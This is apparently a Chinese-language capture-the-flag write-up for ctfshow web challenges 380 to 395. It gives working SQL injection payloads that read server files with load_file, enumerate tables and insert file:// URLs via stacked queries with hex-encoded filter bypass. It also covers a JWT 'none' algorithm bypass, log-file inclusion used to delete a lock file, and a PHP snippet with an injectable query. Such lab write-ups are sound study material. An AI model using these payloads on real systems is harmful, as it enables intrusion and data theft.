web380

扫描目录后,存在page.php

这里存在一个id.php参数,可能是文件包含。get传入id=flag即可

web381

原来的page.php加入了一个包含文件的前缀。

在注释中存在一个不存在于常见目录名称的目录,访问之即可

web382

访问上题的目录,发现一个登录界面。

简单注入即可

web383

同382 水题

web384

爆破,根据提示。这里用了burpsuite

admin/xy123

web385

用上文密码登录已经无法登录了

扫描目录的结果多了一个install

登陆后台,尝试登陆但是默认密码并不是admin/xy123

原来383题目本意是要通过注入获取默认密码admin888

web386

访问install,提示已经安装。看起来需要绕过这个lock。

重新扫,扫出clear.php

访问,猜测用file参数清除文件。

然后步骤同385

web387

提示前面部分和386一样

但是用clear.php删除lock.dat时提示:

扫描目录,有一个debug

这个目录传入file参数后可以打开文件,可能可以包含.日志包含php,执行方法unlink删除lock.dat:

file=/var/log/nginx/access.log

后续步骤同前

web388

访问debug会提示更改已写入日志,无回显,但是使用上一题的方法还是奏效。

web389

访问/debug提示权限不足,cookie存在一个auth字段,为jwt验证。

用jwt.io解码,得到一些信息:

将算法改为none可以绕过secretkey,也可以爆破secretkey。

添加cookie后重新访问debug/即可,剩余步骤同上。

web390

不可爆破secretkey,但是可以none绕过

另解,page.php存在注入点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

error_reporting(0);
require_once "alsckdfy/config.php";
$id = $_GET['id'];
if(!isset($id)){
die('文章不存在');
}else{
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");
$num = 1;
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>$num,
"data"=>array()
);
$sql = "select id,title,content from content where id=".$id.";";
$result = $conn->query($sql);
if($row = $result->fetch_assoc()){
$content = $row;
}
}
?>
1
?id=0 union select 1,2,(select load_file('/var/www/html/alsckdfy/check.php'))

web391

登陆界面加入授权码验证,之前的方法不太行

注入,注入点在搜索标题框

search.php?title=0’ union select 1,2,(select load_file(‘/var/www/html/alsckdfy/check.php’))–+

web392

上题注入点存在,但是flag不在check.php,而是在/flag

search.php?title=0’ union select 1,2,(select load_file(‘/flag’))–+

web393

上题注入点存在,但是sql没权限读取文件。

1
search.php?title=0%27union%20select%201,2,concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27ctfshow%27--+

注入,有个表名叫link

search.php?title=0%27union%20select%201,2,concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27link%27--+

再注入,有个列名叫url,其中的值是google.com、baidu.com

本题在页面最后有一个搜索引擎,会根据id来调用这个link表中的数据。所以,可以通过注入点在表中新添一条记录,url为file:///flag

search.php?title=1';insert into link values(10,'a','file:///flag');

web394 395

过滤了一些字符,但是393的套路行得通。用16进制字符绕过。

search.php?title=1%27;insert%20into%20link%20values(10,%27a%27,0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

#file:///var/www/html/alsckdfy/check.php